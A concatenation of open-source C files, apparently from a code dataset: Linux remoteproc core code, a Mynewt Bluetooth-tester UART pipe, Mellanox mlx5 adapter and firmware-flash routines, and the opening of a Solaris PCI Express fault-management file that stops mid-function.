{
rproc_free(*(struct rproc **)res);
}
/**
* devm_rproc_alloc() - resource managed rproc_alloc()
* @dev: the underlying device
* @name: name of this remote processor
* @ops: platform-specific handlers (mainly start/stop)
* @firmware: name of firmware file to load, can be NULL
* @len: length of private data needed by the rproc driver (in bytes)
*
* This function performs like rproc_alloc() but the acquired rproc device will
* automatically be released on driver detach.
*
* Return: new rproc instance, or NULL on failure
*/
struct rproc *devm_rproc_alloc(struct device *dev, const char *name,
const struct rproc_ops *ops,
const char *firmware, int len)
{
struct rproc **ptr, *rproc;
ptr = devres_alloc(devm_rproc_free, sizeof(*ptr), GFP_KERNEL);
if (!ptr)
return NULL;
rproc = rproc_alloc(dev, name, ops, firmware, len);
if (rproc) {
*ptr = rproc;
devres_add(dev, ptr);
} else {
devres_free(ptr);
}
return rproc;
}
EXPORT_SYMBOL(devm_rproc_alloc);
/**
* rproc_add_subdev() - add a subdevice to a remoteproc
* @rproc: rproc handle to add the subdevice to
* @subdev: subdev handle to register
*
* Caller is responsible for populating optional subdevice function pointers.
*/
void rproc_add_subdev(struct rproc *rproc, struct rproc_subdev *subdev)
{
list_add_tail(&subdev->node, &rproc->subdevs);
}
EXPORT_SYMBOL(rproc_add_subdev);
/**
* rproc_remove_subdev() - remove a subdevice from a remoteproc
* @rproc: rproc handle to remove the subdevice from
* @subdev: subdev handle, previously registered with rproc_add_subdev()
*/
void rproc_remove_subdev(struct rproc *rproc, struct rproc_subdev *subdev)
{
list_del(&subdev->node);
}
EXPORT_SYMBOL(rproc_remove_subdev);
/**
* rproc_get_by_child() - acquire rproc handle of @dev's ancestor
* @dev: child device to find ancestor of
*
* Return: the ancestor rproc instance, or NULL if not found
*/
struct rproc *rproc_get_by_child(struct device *dev)
{
for (dev = dev->parent; dev; dev = dev->parent) {
if (dev->type == &rproc_type)
return dev->driver_data;
}
return NULL;
}
EXPORT_SYMBOL(rproc_get_by_child);
/**
* rproc_report_crash() - rproc crash reporter function
* @rproc: remote processor
* @type: crash type
*
* This function must be called every time a crash is detected by the low-level
* drivers implementing a specific remoteproc. This should not be called from a
* non-remoteproc driver.
*
* This function can be called from atomic/interrupt context.
*/
void rproc_report_crash(struct rproc *rproc, enum rproc_crash_type type)
{
if (!rproc) {
pr_err("NULL rproc pointer\n");
return;
}
/* Prevent suspend while the remoteproc is being recovered */
pm_stay_awake(rproc->dev.parent);
dev_err(&rproc->dev, "crash detected in %s: type %s\n",
rproc->name, rproc_crash_to_string(type));
/* Have a worker handle the error; ensure system is not suspended */
queue_work(system_freezable_wq, &rproc->crash_handler);
}
EXPORT_SYMBOL(rproc_report_crash);
static int rproc_panic_handler(struct notifier_block *nb, unsigned long event,
void *ptr)
{
unsigned int longest = 0;
struct rproc *rproc;
unsigned int d;
rcu_read_lock();
list_for_each_entry_rcu(rproc, &rproc_list, node) {
if (!rproc->ops->panic)
continue;
if (rproc->state != RPROC_RUNNING &&
rproc->state != RPROC_ATTACHED)
continue;
d = rproc->ops->panic(rproc);
longest = max(longest, d);
}
rcu_read_unlock();
/*
* Delay for the longest requested duration before returning. This can
* be used by the remoteproc drivers to give the remote processor time
* to perform any requested operations (such as flush caches), when
* it's not possible to signal the Linux side due to the panic.
*/
mdelay(longest);
return NOTIFY_DONE;
}
static void __init rproc_init_panic(void)
{
rproc_panic_nb.notifier_call = rproc_panic_handler;
atomic_notifier_chain_register(&panic_notifier_list, &rproc_panic_nb);
}
static void __exit rproc_exit_panic(void)
{
atomic_notifier_chain_unregister(&panic_notifier_list, &rproc_panic_nb);
}
static int __init remoteproc_init(void)
{
rproc_init_sysfs();
rproc_init_debugfs();
rproc_init_cdev();
rproc_init_panic();
return 0;
}
subsys_initcall(remoteproc_init);
static void __exit remoteproc_exit(void)
{
ida_destroy(&rproc_dev_index);
rproc_exit_panic();
rproc_exit_debugfs();
rproc_exit_sysfs();
}
module_exit(remoteproc_exit);
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Generic Remote Processor Framework");
|
716933.c | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
#include "syscfg/syscfg.h"
#if MYNEWT_VAL(BTTESTER_PIPE_UART)
#include "os/mynewt.h"
#include "uart/uart.h"
#include "bttester_pipe.h"
static u8_t *recv_buf;
static size_t recv_buf_len;
static bttester_pipe_recv_cb app_cb;
static size_t recv_off;
struct uart_pipe_ring {
uint8_t head;
uint8_t tail;
uint16_t size;
uint8_t *buf;
};
static struct uart_dev *uart_dev;
static struct uart_pipe_ring cr_tx;
static uint8_t cr_tx_buf[2048];
typedef void (*console_write_char)(struct uart_dev*, uint8_t);
static console_write_char write_char_cb;
static struct uart_pipe_ring cr_rx;
static uint8_t cr_rx_buf[2048];
static volatile bool uart_console_rx_stalled;
struct os_event rx_ev;
static inline int
inc_and_wrap(int i, int max)
{
return (i + 1) & (max - 1);
}
static void
uart_pipe_ring_add_char(struct uart_pipe_ring *cr, char ch)
{
cr->buf[cr->head] = ch;
cr->head = inc_and_wrap(cr->head, cr->size);
}
static uint8_t
uart_pipe_ring_pull_char(struct uart_pipe_ring *cr)
{
uint8_t ch;
ch = cr->buf[cr->tail];
cr->tail = inc_and_wrap(cr->tail, cr->size);
return ch;
}
static bool
uart_pipe_ring_is_full(const struct uart_pipe_ring *cr)
{
return inc_and_wrap(cr->head, cr->size) == cr->tail;
}
static bool
uart_pipe_ring_is_empty(const struct uart_pipe_ring *cr)
{
return cr->head == cr->tail;
}
static void
uart_pipe_queue_char(struct uart_dev *uart_dev, uint8_t ch)
{
int sr;
if ((uart_dev->ud_dev.od_flags & OS_DEV_F_STATUS_OPEN) == 0) {
return;
}
OS_ENTER_CRITICAL(sr);
while (uart_pipe_ring_is_full(&cr_tx)) {
/* TX needs to drain */
uart_start_tx(uart_dev);
OS_EXIT_CRITICAL(sr);
if (os_started()) {
os_time_delay(1);
}
OS_ENTER_CRITICAL(sr);
}
uart_pipe_ring_add_char(&cr_tx, ch);
OS_EXIT_CRITICAL(sr);
}
/*
* Interrupts disabled when console_tx_char/console_rx_char are called.
* Characters sent only in blocking mode.
*/
static int
uart_console_tx_char(void *arg)
{
if (uart_pipe_ring_is_empty(&cr_tx)) {
return -1;
}
return uart_pipe_ring_pull_char(&cr_tx);
}
/*
* Interrupts disabled when console_tx_char/console_rx_char are called.
*/
static int
uart_console_rx_char(void *arg, uint8_t byte)
{
if (uart_pipe_ring_is_full(&cr_rx)) {
uart_console_rx_stalled = true;
return -1;
}
uart_pipe_ring_add_char(&cr_rx, byte);
if (!rx_ev.ev_queued) {
os_eventq_put(os_eventq_dflt_get(), &rx_ev);
}
return 0;
}
static int
uart_pipe_handle_char(int key)
{
recv_buf[recv_off] = (u8_t) key;
recv_off++;
return 0;
}
static void
uart_console_rx_char_event(struct os_event *ev)
{
static int b = -1;
int sr;
int ret;
/* We may have unhandled character - try it first */
if (b >= 0) {
ret = uart_pipe_handle_char(b);
if (ret < 0) {
return;
}
}
while (!uart_pipe_ring_is_empty(&cr_rx)) {
OS_ENTER_CRITICAL(sr);
b = uart_pipe_ring_pull_char(&cr_rx);
OS_EXIT_CRITICAL(sr);
/* If UART RX was stalled due to a full receive buffer, restart RX now
* that we have removed a byte from the buffer.
*/
if (uart_console_rx_stalled) {
uart_console_rx_stalled = false;
uart_start_rx(uart_dev);
}
ret = uart_pipe_handle_char(b);
if (ret < 0) {
return;
}
}
/*
* Call application callback with received data. Application
* may provide new buffer or alter data offset.
*/
recv_buf = app_cb(recv_buf, &recv_off);
b = -1;
}
int
bttester_pipe_send(const u8_t *data, int len)
{
int i;
/* Assure that there is a write cb installed; this enables to debug
* code that is faulting before the console was initialized.
*/
if (!write_char_cb) {
return -1;
}
for (i = 0; i < len; ++i) {
write_char_cb(uart_dev, data[i]);
}
uart_start_tx(uart_dev);
return 0;
}
int
bttester_pipe_init(void)
{
struct uart_conf uc = {
.uc_speed = MYNEWT_VAL(CONSOLE_UART_BAUD),
.uc_databits = 8,
.uc_stopbits = 1,
.uc_parity = UART_PARITY_NONE,
.uc_flow_ctl = MYNEWT_VAL(CONSOLE_UART_FLOW_CONTROL),
.uc_tx_char = uart_console_tx_char,
.uc_rx_char = uart_console_rx_char,
};
cr_tx.size = 2048;
cr_tx.buf = cr_tx_buf;
write_char_cb = uart_pipe_queue_char;
cr_rx.size = 2048;
cr_rx.buf = cr_rx_buf;
rx_ev.ev_cb = uart_console_rx_char_event;
if (!uart_dev) {
uart_dev = (struct uart_dev *)os_dev_open(MYNEWT_VAL(CONSOLE_UART_DEV),
OS_TIMEOUT_NEVER, &uc);
if (!uart_dev) {
return -1;
}
}
return 0;
}
void
bttester_pipe_register(u8_t *buf, size_t len, bttester_pipe_recv_cb cb)
{
recv_buf = buf;
recv_buf_len = len;
app_cb = cb;
}
#endif /* MYNEWT_VAL(BTTESTER_PIPE_UART) */
|
498914.c | /*
* Copyright (c) 2013-2015, Mellanox Technologies. All rights reserved.
*
* This software is available to you under a choice of one of two
* licenses. You may choose to be licensed under the terms of the GNU
* General Public License (GPL) Version 2, available from the file
* COPYING in the main directory of this source tree, or the
* OpenIB.org BSD license below:
*
* Redistribution and use in source and binary forms, with or
* without modification, are permitted provided that the following
* conditions are met:
*
* - Redistributions of source code must retain the above
* copyright notice, this list of conditions and the following
* disclaimer.
*
* - Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials
* provided with the distribution.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#include <linux/mlx5/driver.h>
#include <linux/mlx5/cmd.h>
#include <linux/module.h>
#include "mlx5_core.h"
#include "../../mlxfw/mlxfw.h"
static int mlx5_cmd_query_adapter(struct mlx5_core_dev *dev, u32 *out,
int outlen)
{
u32 in[MLX5_ST_SZ_DW(query_adapter_in)] = {0};
MLX5_SET(query_adapter_in, in, opcode, MLX5_CMD_OP_QUERY_ADAPTER);
return mlx5_cmd_exec(dev, in, sizeof(in), out, outlen);
}
int mlx5_query_board_id(struct mlx5_core_dev *dev)
{
u32 *out;
int outlen = MLX5_ST_SZ_BYTES(query_adapter_out);
int err;
out = kzalloc(outlen, GFP_KERNEL);
if (!out)
return -ENOMEM;
err = mlx5_cmd_query_adapter(dev, out, outlen);
if (err)
goto out;
memcpy(dev->board_id,
MLX5_ADDR_OF(query_adapter_out, out,
query_adapter_struct.vsd_contd_psid),
MLX5_FLD_SZ_BYTES(query_adapter_out,
query_adapter_struct.vsd_contd_psid));
out:
kfree(out);
return err;
}
int mlx5_core_query_vendor_id(struct mlx5_core_dev *mdev, u32 *vendor_id)
{
u32 *out;
int outlen = MLX5_ST_SZ_BYTES(query_adapter_out);
int err;
out = kzalloc(outlen, GFP_KERNEL);
if (!out)
return -ENOMEM;
err = mlx5_cmd_query_adapter(mdev, out, outlen);
if (err)
goto out;
*vendor_id = MLX5_GET(query_adapter_out, out,
query_adapter_struct.ieee_vendor_id);
out:
kfree(out);
return err;
}
EXPORT_SYMBOL(mlx5_core_query_vendor_id);
static int mlx5_get_pcam_reg(struct mlx5_core_dev *dev)
{
return mlx5_query_pcam_reg(dev, dev->caps.pcam,
MLX5_PCAM_FEATURE_ENHANCED_FEATURES,
MLX5_PCAM_REGS_5000_TO_507F);
}
static int mlx5_get_mcam_reg(struct mlx5_core_dev *dev)
{
return mlx5_query_mcam_reg(dev, dev->caps.mcam,
MLX5_MCAM_FEATURE_ENHANCED_FEATURES,
MLX5_MCAM_REGS_FIRST_128);
}
int mlx5_query_hca_caps(struct mlx5_core_dev *dev)
{
int err;
err = mlx5_core_get_caps(dev, MLX5_CAP_GENERAL);
if (err)
return err;
if (MLX5_CAP_GEN(dev, eth_net_offloads)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_ETHERNET_OFFLOADS);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, pg)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_ODP);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, atomic)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_ATOMIC);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, roce)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_ROCE);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, nic_flow_table) ||
MLX5_CAP_GEN(dev, ipoib_enhanced_offloads)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_FLOW_TABLE);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, vport_group_manager) &&
MLX5_CAP_GEN(dev, eswitch_flow_table)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_ESWITCH_FLOW_TABLE);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, eswitch_flow_table)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_ESWITCH);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, vector_calc)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_VECTOR_CALC);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, qos)) {
err = mlx5_core_get_caps(dev, MLX5_CAP_QOS);
if (err)
return err;
}
if (MLX5_CAP_GEN(dev, pcam_reg))
mlx5_get_pcam_reg(dev);
if (MLX5_CAP_GEN(dev, mcam_reg))
mlx5_get_mcam_reg(dev);
return 0;
}
int mlx5_cmd_init_hca(struct mlx5_core_dev *dev)
{
u32 out[MLX5_ST_SZ_DW(init_hca_out)] = {0};
u32 in[MLX5_ST_SZ_DW(init_hca_in)] = {0};
MLX5_SET(init_hca_in, in, opcode, MLX5_CMD_OP_INIT_HCA);
return mlx5_cmd_exec(dev, in, sizeof(in), out, sizeof(out));
}
int mlx5_cmd_teardown_hca(struct mlx5_core_dev *dev)
{
u32 out[MLX5_ST_SZ_DW(teardown_hca_out)] = {0};
u32 in[MLX5_ST_SZ_DW(teardown_hca_in)] = {0};
MLX5_SET(teardown_hca_in, in, opcode, MLX5_CMD_OP_TEARDOWN_HCA);
return mlx5_cmd_exec(dev, in, sizeof(in), out, sizeof(out));
}
int mlx5_cmd_force_teardown_hca(struct mlx5_core_dev *dev)
{
u32 out[MLX5_ST_SZ_DW(teardown_hca_out)] = {0};
u32 in[MLX5_ST_SZ_DW(teardown_hca_in)] = {0};
int force_state;
int ret;
if (!MLX5_CAP_GEN(dev, force_teardown)) {
mlx5_core_dbg(dev, "force teardown is not supported in the firmware\n");
return -EOPNOTSUPP;
}
MLX5_SET(teardown_hca_in, in, opcode, MLX5_CMD_OP_TEARDOWN_HCA);
MLX5_SET(teardown_hca_in, in, profile, MLX5_TEARDOWN_HCA_IN_PROFILE_FORCE_CLOSE);
ret = mlx5_cmd_exec_polling(dev, in, sizeof(in), out, sizeof(out));
if (ret)
return ret;
force_state = MLX5_GET(teardown_hca_out, out, force_state);
if (force_state == MLX5_TEARDOWN_HCA_OUT_FORCE_STATE_FAIL) {
mlx5_core_err(dev, "teardown with force mode failed\n");
return -EIO;
}
return 0;
}
enum mlxsw_reg_mcc_instruction {
MLX5_REG_MCC_INSTRUCTION_LOCK_UPDATE_HANDLE = 0x01,
MLX5_REG_MCC_INSTRUCTION_RELEASE_UPDATE_HANDLE = 0x02,
MLX5_REG_MCC_INSTRUCTION_UPDATE_COMPONENT = 0x03,
MLX5_REG_MCC_INSTRUCTION_VERIFY_COMPONENT = 0x04,
MLX5_REG_MCC_INSTRUCTION_ACTIVATE = 0x06,
MLX5_REG_MCC_INSTRUCTION_CANCEL = 0x08,
};
static int mlx5_reg_mcc_set(struct mlx5_core_dev *dev,
enum mlxsw_reg_mcc_instruction instr,
u16 component_index, u32 update_handle,
u32 component_size)
{
u32 out[MLX5_ST_SZ_DW(mcc_reg)];
u32 in[MLX5_ST_SZ_DW(mcc_reg)];
memset(in, 0, sizeof(in));
MLX5_SET(mcc_reg, in, instruction, instr);
MLX5_SET(mcc_reg, in, component_index, component_index);
MLX5_SET(mcc_reg, in, update_handle, update_handle);
MLX5_SET(mcc_reg, in, component_size, component_size);
return mlx5_core_access_reg(dev, in, sizeof(in), out,
sizeof(out), MLX5_REG_MCC, 0, 1);
}
static int mlx5_reg_mcc_query(struct mlx5_core_dev *dev,
u32 *update_handle, u8 *error_code,
u8 *control_state)
{
u32 out[MLX5_ST_SZ_DW(mcc_reg)];
u32 in[MLX5_ST_SZ_DW(mcc_reg)];
int err;
memset(in, 0, sizeof(in));
memset(out, 0, sizeof(out));
MLX5_SET(mcc_reg, in, update_handle, *update_handle);
err = mlx5_core_access_reg(dev, in, sizeof(in), out,
sizeof(out), MLX5_REG_MCC, 0, 0);
if (err)
goto out;
*update_handle = MLX5_GET(mcc_reg, out, update_handle);
*error_code = MLX5_GET(mcc_reg, out, error_code);
*control_state = MLX5_GET(mcc_reg, out, control_state);
out:
return err;
}
static int mlx5_reg_mcda_set(struct mlx5_core_dev *dev,
u32 update_handle,
u32 offset, u16 size,
u8 *data)
{
int err, in_size = MLX5_ST_SZ_BYTES(mcda_reg) + size;
u32 out[MLX5_ST_SZ_DW(mcda_reg)];
int i, j, dw_size = size >> 2;
__be32 data_element;
u32 *in;
in = kzalloc(in_size, GFP_KERNEL);
if (!in)
return -ENOMEM;
MLX5_SET(mcda_reg, in, update_handle, update_handle);
MLX5_SET(mcda_reg, in, offset, offset);
MLX5_SET(mcda_reg, in, size, size);
for (i = 0; i < dw_size; i++) {
j = i * 4;
data_element = htonl(*(u32 *)&data[j]);
memcpy(MLX5_ADDR_OF(mcda_reg, in, data) + j, &data_element, 4);
}
err = mlx5_core_access_reg(dev, in, in_size, out,
sizeof(out), MLX5_REG_MCDA, 0, 1);
kfree(in);
return err;
}
static int mlx5_reg_mcqi_query(struct mlx5_core_dev *dev,
u16 component_index,
u32 *max_component_size,
u8 *log_mcda_word_size,
u16 *mcda_max_write_size)
{
u32 out[MLX5_ST_SZ_DW(mcqi_reg) + MLX5_ST_SZ_DW(mcqi_cap)];
int offset = MLX5_ST_SZ_DW(mcqi_reg);
u32 in[MLX5_ST_SZ_DW(mcqi_reg)];
int err;
memset(in, 0, sizeof(in));
memset(out, 0, sizeof(out));
MLX5_SET(mcqi_reg, in, component_index, component_index);
MLX5_SET(mcqi_reg, in, data_size, MLX5_ST_SZ_BYTES(mcqi_cap));
err = mlx5_core_access_reg(dev, in, sizeof(in), out,
sizeof(out), MLX5_REG_MCQI, 0, 0);
if (err)
goto out;
*max_component_size = MLX5_GET(mcqi_cap, out + offset, max_component_size);
*log_mcda_word_size = MLX5_GET(mcqi_cap, out + offset, log_mcda_word_size);
*mcda_max_write_size = MLX5_GET(mcqi_cap, out + offset, mcda_max_write_size);
out:
return err;
}
struct mlx5_mlxfw_dev {
struct mlxfw_dev mlxfw_dev;
struct mlx5_core_dev *mlx5_core_dev;
};
static int mlx5_component_query(struct mlxfw_dev *mlxfw_dev,
u16 component_index, u32 *p_max_size,
u8 *p_align_bits, u16 *p_max_write_size)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
return mlx5_reg_mcqi_query(dev, component_index, p_max_size,
p_align_bits, p_max_write_size);
}
static int mlx5_fsm_lock(struct mlxfw_dev *mlxfw_dev, u32 *fwhandle)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
u8 control_state, error_code;
int err;
*fwhandle = 0;
err = mlx5_reg_mcc_query(dev, fwhandle, &error_code, &control_state);
if (err)
return err;
if (control_state != MLXFW_FSM_STATE_IDLE)
return -EBUSY;
return mlx5_reg_mcc_set(dev, MLX5_REG_MCC_INSTRUCTION_LOCK_UPDATE_HANDLE,
0, *fwhandle, 0);
}
static int mlx5_fsm_component_update(struct mlxfw_dev *mlxfw_dev, u32 fwhandle,
u16 component_index, u32 component_size)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
return mlx5_reg_mcc_set(dev, MLX5_REG_MCC_INSTRUCTION_UPDATE_COMPONENT,
component_index, fwhandle, component_size);
}
static int mlx5_fsm_block_download(struct mlxfw_dev *mlxfw_dev, u32 fwhandle,
u8 *data, u16 size, u32 offset)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
return mlx5_reg_mcda_set(dev, fwhandle, offset, size, data);
}
static int mlx5_fsm_component_verify(struct mlxfw_dev *mlxfw_dev, u32 fwhandle,
u16 component_index)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
return mlx5_reg_mcc_set(dev, MLX5_REG_MCC_INSTRUCTION_VERIFY_COMPONENT,
component_index, fwhandle, 0);
}
static int mlx5_fsm_activate(struct mlxfw_dev *mlxfw_dev, u32 fwhandle)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
return mlx5_reg_mcc_set(dev, MLX5_REG_MCC_INSTRUCTION_ACTIVATE, 0,
fwhandle, 0);
}
static int mlx5_fsm_query_state(struct mlxfw_dev *mlxfw_dev, u32 fwhandle,
enum mlxfw_fsm_state *fsm_state,
enum mlxfw_fsm_state_err *fsm_state_err)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
u8 control_state, error_code;
int err;
err = mlx5_reg_mcc_query(dev, &fwhandle, &error_code, &control_state);
if (err)
return err;
*fsm_state = control_state;
*fsm_state_err = min_t(enum mlxfw_fsm_state_err, error_code,
MLXFW_FSM_STATE_ERR_MAX);
return 0;
}
static void mlx5_fsm_cancel(struct mlxfw_dev *mlxfw_dev, u32 fwhandle)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
mlx5_reg_mcc_set(dev, MLX5_REG_MCC_INSTRUCTION_CANCEL, 0, fwhandle, 0);
}
static void mlx5_fsm_release(struct mlxfw_dev *mlxfw_dev, u32 fwhandle)
{
struct mlx5_mlxfw_dev *mlx5_mlxfw_dev =
container_of(mlxfw_dev, struct mlx5_mlxfw_dev, mlxfw_dev);
struct mlx5_core_dev *dev = mlx5_mlxfw_dev->mlx5_core_dev;
mlx5_reg_mcc_set(dev, MLX5_REG_MCC_INSTRUCTION_RELEASE_UPDATE_HANDLE, 0,
fwhandle, 0);
}
static const struct mlxfw_dev_ops mlx5_mlxfw_dev_ops = {
.component_query = mlx5_component_query,
.fsm_lock = mlx5_fsm_lock,
.fsm_component_update = mlx5_fsm_component_update,
.fsm_block_download = mlx5_fsm_block_download,
.fsm_component_verify = mlx5_fsm_component_verify,
.fsm_activate = mlx5_fsm_activate,
.fsm_query_state = mlx5_fsm_query_state,
.fsm_cancel = mlx5_fsm_cancel,
.fsm_release = mlx5_fsm_release
};
int mlx5_firmware_flash(struct mlx5_core_dev *dev,
const struct firmware *firmware)
{
struct mlx5_mlxfw_dev mlx5_mlxfw_dev = {
.mlxfw_dev = {
.ops = &mlx5_mlxfw_dev_ops,
.psid = dev->board_id,
.psid_size = strlen(dev->board_id),
},
.mlx5_core_dev = dev
};
if (!MLX5_CAP_GEN(dev, mcam_reg) ||
!MLX5_CAP_MCAM_REG(dev, mcqi) ||
!MLX5_CAP_MCAM_REG(dev, mcc) ||
!MLX5_CAP_MCAM_REG(dev, mcda)) {
pr_info("%s flashing isn't supported by the running FW\n", __func__);
return -EOPNOTSUPP;
}
return mlxfw_firmware_flash(&mlx5_mlxfw_dev.mlxfw_dev, firmware);
}
|
437156.c | /*
* CDDL HEADER START
*
* The contents of this file are subject to the terms of the
* Common Development and Distribution License (the "License").
* You may not use this file except in compliance with the License.
*
* You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE
* or http://www.opensolaris.org/os/licensing.
* See the License for the specific language governing permissions
* and limitations under the License.
*
* When distributing Covered Code, include this CDDL HEADER in each
* file and include the License file at usr/src/OPENSOLARIS.LICENSE.
* If applicable, add the following below this CDDL HEADER, with the
* fields enclosed by brackets "[]" replaced with your own identifying
* information: Portions Copyright [yyyy] [name of copyright owner]
*
* CDDL HEADER END
*/
/*
* Copyright (c) 2005, 2010, Oracle and/or its affiliates. All rights reserved.
*/
/*
* PX Fault Management Architecture
*/
#include <sys/types.h>
#include <sys/sunndi.h>
#include <sys/sunddi.h>
#include <sys/fm/protocol.h>
#include <sys/fm/util.h>
#include <sys/fm/io/pci.h>
#include <sys/membar.h>
#include "px_obj.h"
extern uint_t px_ranges_phi_mask;
#define PX_PCIE_PANIC_BITS \
(PCIE_AER_UCE_DLP | PCIE_AER_UCE_FCP | PCIE_AER_UCE_TO | \
PCIE_AER_UCE_RO | PCIE_AER_UCE_MTLP | PCIE_AER_UCE_ECRC)
#define PX_PCIE_NO_PANIC_BITS \
(PCIE_AER_UCE_TRAINING | PCIE_AER_UCE_SD | PCIE_AER_UCE_CA | \
PCIE_AER_UCE_UC | PCIE_AER_UCE_UR)
/*
* Global panicing state variabled used to control if further error handling
* should occur. If the system is already panic'ing or if PX itself has
* recommended panic'ing the system, no further error handling should occur to
* prevent the system from hanging.
*/
boolean_t px_panicing = B_FALSE;
static int px_pcie_ptlp(dev_info_t *dip, ddi_fm_error_t *derr,
px_err_pcie_t *regs);
#if defined(DEBUG)
static void px_pcie_log(dev_info_t *dip, px_err_pcie_t *regs);
#else /* DEBUG */
#define px_pcie_log 0 &&
#endif /* DEBUG */
/*
* Initialize px FMA support
*/
int
px_fm_attach(px_t *px_p)
{
int i;
dev_info_t *dip = px_p->px_dip;
pcie_bus_t *bus_p;
px_p->px_fm_cap = DDI_FM_EREPORT_CAPABLE | DDI_FM_ERRCB_CAPABLE |
DDI_FM_ACCCHK_CAPABLE | DDI_FM_DMACHK_CAPABLE;
/*
* check parents' capability
*/
ddi_fm_init(dip, &px_p->px_fm_cap, &px_p->px_fm_ibc);
/*
* parents need to be ereport and error handling capable
*/
ASSERT(px_p->px_fm_cap &&
(DDI_FM_ERRCB_CAPABLE | DDI_FM_EREPORT_CAPABLE));
/*
* Initialize lock to synchronize fabric error handling
*/
mutex_init(&px_p->px_fm_mutex, NULL, MUTEX_DRIVER,
(void *)px_p->px_fm_ibc);
px_p->px_pfd_idx = 0;
for (i = 0; i < 5; i++)
pcie_rc_init_pfd(dip, &px_p->px_pfd_arr[i]);
PCIE_DIP2PFD(dip) = px_p->px_pfd_arr;
bus_p = PCIE_DIP2BUS(dip);
bus_p->bus_rp_bdf = px_p->px_bdf;
bus_p->bus_rp_dip = dip;
return (DDI_SUCCESS);
}
/*
* Deregister FMA
*/
void
px_fm_detach(px_t *px_p)
{
int i;
mutex_destroy(&px_p->px_fm_mutex);
ddi_fm_fini(px_p->px_dip);
for (i = 0; i < 5; i++)
pcie_rc_fini_pfd(&px_p->px_pfd_arr[i]);
}
/*
* register error callback in parent
*/
void
px_fm_cb_enable(px_t *px_p)
{
ddi_fm_handler_register(px_p->px_dip, px_fm_callback, px_p);
}
void
px_fm_cb_disable(px_t *px_p)
{
ddi_fm_handler_unregister(px_p->px_dip);
}
/*
* Function used to setup access functions depending on level of desired
* protection.
*/
void
px_fm_acc_setup(ddi_map_req_t *mp, dev_info_t *rdip, pci_regspec_t *rp)
{
uchar_t fflag;
ndi_err_t *errp;
ddi_acc_hdl_t *hp;
ddi_acc_impl_t *ap;
hp = mp->map_handlep;
ap = (ddi_acc_impl_t *)hp->ah_platform_private;
fflag = ap->ahi_common.ah_acc.devacc_attr_access;
if (mp->map_op == DDI_MO_MAP_LOCKED) {
ndi_fmc_insert(rdip, ACC_HANDLE, (void *)hp, NULL);
switch (fflag) {
case DDI_FLAGERR_ACC:
ap->ahi_get8 = i_ddi_prot_get8;
ap->ahi_get16 = i_ddi_prot_get16;
ap->ahi_get32 = i_ddi_prot_get32;
ap->ahi_get64 = i_ddi_prot_get64;
